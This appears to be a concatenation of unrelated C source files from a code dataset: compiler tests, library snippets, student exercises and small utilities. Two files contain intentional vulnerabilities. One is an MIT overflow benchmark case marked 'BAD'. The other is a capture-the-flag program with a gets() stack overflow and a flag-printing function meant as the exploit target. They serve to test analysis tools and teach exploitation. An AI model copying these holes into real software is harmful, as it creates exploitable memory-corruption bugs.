* Pozor! Tato funkce nebude soubor ani otevírat, ani zavírat. To se udělá tam,
* odkud se tato funkce volá.
*/
// zapisZoo( f, zoo , kolik)
// {
//
//
//
//
//
// }
/**
* Úkol č. 3
* a. Použij funkci serad z projektu zaklady02.
* b. Načti data ze souboru zadaného jména.
* c. Seřaď je vzestupně podle váhy zvířat.
* d. Vytvoř funkci zapisZoo. Zapiš seřazená data do souboru ukol3-vystup.txt
* ve stejném formátu jako byl vstupní soubor.
* e. Pokud se vše v pořádku povede, vytiskni na obrazovku nápis "Hotovo", jinak
* vytiskni text "CHYBA!".
* f. Při dalším spuštění programu použij tento vyrobený soubor jako vstupní.
*/
void ukol3(char *jmenoSouboru)
{
// otevři a načti -- to už tu bylo
// seřaď načtené zoo
// založ soubor pro zápis
// ulož zoo do souboru
// ještě něco se soubory...
}
/**
* Úkol č. 4
* a. Uprav main tak, aby jméno souboru před provedením každého úkolu zadával
* uživatel - zeptej se jej na něj.
* b. Vyzkoušej to se svými vlastními soubory se zvířaty.
*/
int main(void)
{
printf("*** Ukol c. 1 ***\n");
ukol1("zoo.txt");
printf("-----------------\n");
printf("*** Ukol c. 2 ***\n");
ukol2("zoo.txt");
printf("-----------------\n");
printf("*** Ukol c. 3 ***\n");
ukol3("zoo.txt");
printf("-----------------\n");
return 0;
}
|
the_stack_data/190766941.c
|
#include <stdio.h>
#include <string.h>
#include <math.h>
#include <stdlib.h>
//#define tam 10 - Posso definir meu tamanho da hash ou fazer uma leitura na main
//TABELA HASH COM TRATAMENDO DE COLISÕES POR TESTE LINEAR
typedef struct celula
{
int conteudo;
//char nome[100]; //long matricula; .....
struct celula* prox;
struct celula* ant;
}celula;
typedef struct lista
{
celula* inicio;
celula* fim;
int cont;
}lista;
lista *inicializa()
{
lista* l = (lista*) malloc(sizeof(lista));
l->inicio = NULL;
l->fim = NULL;
l->cont = 0;
return l;
}
celula *cria(int conteudo)
{
celula *p = (celula*)malloc(sizeof(celula));
p->conteudo = conteudo;
//strcpy(p->nome,nome);
p->prox = NULL;
p->ant = NULL;
return p;
}
int HASH(long conteudo, int tam)
{
return conteudo % tam;
}
int REhash(int hash_conteudo, int tam)
{
return (hash_conteudo + 1) % tam;
}
int insere_inicio(lista *l, int conteudo)
{
if(l == NULL)
{
return 0;
}
celula *novo = cria(conteudo);
novo->prox = l->inicio;
novo->ant = NULL;
l->inicio = novo;
if(novo->prox != NULL)
{
novo->prox->ant = novo;
}
l->cont++;
return 1;
}
void inserir_tabela(lista **tabela_hash, int capacidade, int conteudo)
{
int r = HASH(conteudo, capacidade);
int qtd = 0;
celula *aux = cria(conteudo);
while (tabela_hash[r]->inicio->conteudo != -1 && qtd < capacidade)
{
r = REhash(r,capacidade);
qtd++;
}
if (qtd < capacidade)
{
tabela_hash[r]->inicio->conteudo = aux->conteudo;
//strcpy(tabela_hash[r]->inicio->nome, aux->nome);
}
}
void imprime_hash(lista** tabela_hash, int capacidade)
{
int i=0;
for (int i = 0; i < capacidade; i++)
{
printf("\nTab[%d]: %d\n", i, tabela_hash[i]->inicio->conteudo);
}
printf("\n");
}
int main(void)
{
int tam, conteudo, i=0;
printf("\nEntre com a quantidade de linhas da tabela = ");
scanf("%d",&tam);
lista** tabela_hash = (lista**) malloc(tam*sizeof(lista*));
for (int i = 0; i < tam; i++)
{
tabela_hash[i] = inicializa();
insere_inicio(tabela_hash[i], -1);
}
for(i = 0;i < tam; i++)
{
printf("\nEntre com o valor da chave = ");
scanf("%d",&conteudo);
inserir_tabela(tabela_hash, tam, conteudo);
}
imprime_hash(tabela_hash,tam);
return 0;
}
|
the_stack_data/1119040.c
|
// RUN: %clang_cc1 -fsyntax-only %s -verify
char memset(); // expected-warning {{incompatible redeclaration of library function 'memset'}} expected-note{{'memset' is a builtin with type}}
char test() {
return memset();
}
|
the_stack_data/18888765.c
|
#include <stdio.h>
#include <omp.h>
int
main(void)
{
#pragma omp parallel
{
int id = omp_get_thread_num();
printf("%d: Hello World!\n", id);
}
return 0;
}
|
the_stack_data/943532.c
|
/* pem_xaux.c */
/*
* Written by Dr Stephen N Henson ([email protected]) for the OpenSSL project
* 2001.
*/
/* ====================================================================
* Copyright (c) 2001 The OpenSSL Project. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
*
* 3. All advertising materials mentioning features or use of this
* software must display the following acknowledgment:
* "This product includes software developed by the OpenSSL Project
* for use in the OpenSSL Toolkit. (http://www.OpenSSL.org/)"
*
* 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to
* endorse or promote products derived from this software without
* prior written permission. For written permission, please contact
* [email protected].
*
* 5. Products derived from this software may not be called "OpenSSL"
* nor may "OpenSSL" appear in their names without prior written
* permission of the OpenSSL Project.
*
* 6. Redistributions of any form whatsoever must retain the following
* acknowledgment:
* "This product includes software developed by the OpenSSL Project
* for use in the OpenSSL Toolkit (http://www.OpenSSL.org/)"
*
* THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY
* EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR
* ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
* ====================================================================
*
* This product includes cryptographic software written by Eric Young
* ([email protected]). This product includes software written by Tim
* Hudson ([email protected]). */
#include <stdio.h>
#include <openssl/bio.h>
#include <openssl/evp.h>
#include <openssl/pem.h>
#include <openssl/x509.h>
IMPLEMENT_PEM_rw(X509_AUX, X509, PEM_STRING_X509_TRUSTED, X509_AUX)
|
the_stack_data/351945.c
|
// RMW-strong-unequal
/* The strong compare_exchange will always fail if the compared values
are not equal. Hence, the value of x will still be 0 at the end of the
execution and the value of y will be 0. An exhaustive execution will
therefore only return 0. */
#include <stdatomic.h>
int main(void) {
_Atomic(int) x = 0;
int y = 1;
int r1 = atomic_compare_exchange_strong_explicit(
&x, &y, 1, memory_order_seq_cst, memory_order_seq_cst);
int a = atomic_load_explicit(&x, memory_order_relaxed);
assert(y == 0 && a == 0 && r1 == 0);
// return a + 3 * (y + 3 * r1);
}
|
the_stack_data/28263994.c
|
/* Copyright (C) 1996-2019 Free Software Foundation, Inc.
This file is part of the GNU C Library.
Contributed by Ulrich Drepper, <[email protected]>
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
#include <string.h>
#include <wchar.h>
wchar_t* __wmemmove_chk(wchar_t* s1, const wchar_t* s2, size_t n, size_t ns1)
{
if (__glibc_unlikely(ns1 < n))
__chk_fail();
return (wchar_t*)memmove((char*)s1, (char*)s2, n * sizeof(wchar_t));
}
|
the_stack_data/230372.c
|
// RUN: %clang_cc1 %s -verify
int foo() {
int a;
// PR3788
asm("nop" : : "m"((int)(a))); // expected-error {{cast in a inline asm context requiring an l-value}}
// PR3794
asm("nop" : "=r"((unsigned)a)); // expected-error {{cast in a inline asm context requiring an l-value}}
}
|
the_stack_data/20449616.c
|
/* Taxonomy Classification: 0000000100000161000110 */
/*
* WRITE/READ 0 write
* WHICH BOUND 0 upper
* DATA TYPE 0 char
* MEMORY LOCATION 0 stack
* SCOPE 0 same
* CONTAINER 0 no
* POINTER 0 no
* INDEX COMPLEXITY 1 variable
* ADDRESS COMPLEXITY 0 constant
* LENGTH COMPLEXITY 0 N/A
* ADDRESS ALIAS 0 none
* INDEX ALIAS 0 none
* LOCAL CONTROL FLOW 0 none
* SECONDARY CONTROL FLOW 1 if
* LOOP STRUCTURE 6 non-standard while
* LOOP COMPLEXITY 1 zero
* ASYNCHRONY 0 no
* TAINT 0 no
* RUNTIME ENV. DEPENDENCE 0 no
* MAGNITUDE 1 1 byte
* CONTINUOUS/DISCRETE 1 continuous
* SIGNEDNESS 0 no
*/
/*
Copyright 2005 Massachusetts Institute of Technology
All rights reserved.
Redistribution and use of software in source and binary forms, with or without
modification, are permitted provided that the following conditions are met.
- Redistributions of source code must retain the above copyright notice,
this set of conditions and the disclaimer below.
- Redistributions in binary form must reproduce the copyright notice, this
set of conditions, and the disclaimer below in the documentation and/or
other materials provided with the distribution.
- Neither the name of the Massachusetts Institute of Technology nor the
names of its contributors may be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS".
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED.
IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
int main(int argc, char *argv[])
{
int loop_counter;
char buf[10];
loop_counter = 0;
while(1)
{
/* BAD */
buf[loop_counter] = 'A';
loop_counter++;
if (loop_counter > 10) break;
}
return 0;
}
|
the_stack_data/353416.c
|
/* { dg-do compile } */
/* { dg-options "-pedantic" } */
int *a, b;
void fn1 ()
{
a = __builtin_malloc (sizeof(int)*2);
b = &a[1] == (0, 0); /* { dg-warning "comparison between pointer and integer" } */
}
|
the_stack_data/113644.c
|
#include <sys/syscall.h>
int main()
{
syscall(SYS_exit, 0);
return 0;
}
|
the_stack_data/134102.c
|
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void flag() {
system("/bin/cat flag.txt");
}
void get_pie() {
printf("What type of pie do you want? ");
char pie[50];
gets(pie);
if (strcmp(pie, "apple") == 0) {
printf("Here's your pie!\n");
printf(" _,..---..,_\n");
printf(" ,-\"` .'. `\"-,\n");
printf(" (( '.'.' ))\n");
printf(" `'-.,_ ' _,.-'`\n");
printf(" `\\ `\"\"\"\"\"` /`\n");
printf(" `\"\"-----\"\"`\n");
} else {
printf("Whoops, looks like we're out of that one.\n");
}
}
int main() {
gid_t gid = getegid();
setresgid(gid, gid, gid);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("Welcome to the pie shop! Here we have all types of pies: apple pies, peach pies, blueberry pies, position independent executables, pumpkin pies, rhubarb pies...\n");
get_pie();
return 0;
}
|
the_stack_data/134514202.c
|
#include <string.h>
char *basename(char *path)
{
char *cursor;
if(!path || !*path)
return (char *) ".";
cursor = path + strlen(path) - 1;
while(cursor > path && *cursor == '/')
*cursor-- = '\0';
while(cursor > path && *cursor != '/')
cursor--;
return cursor;
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.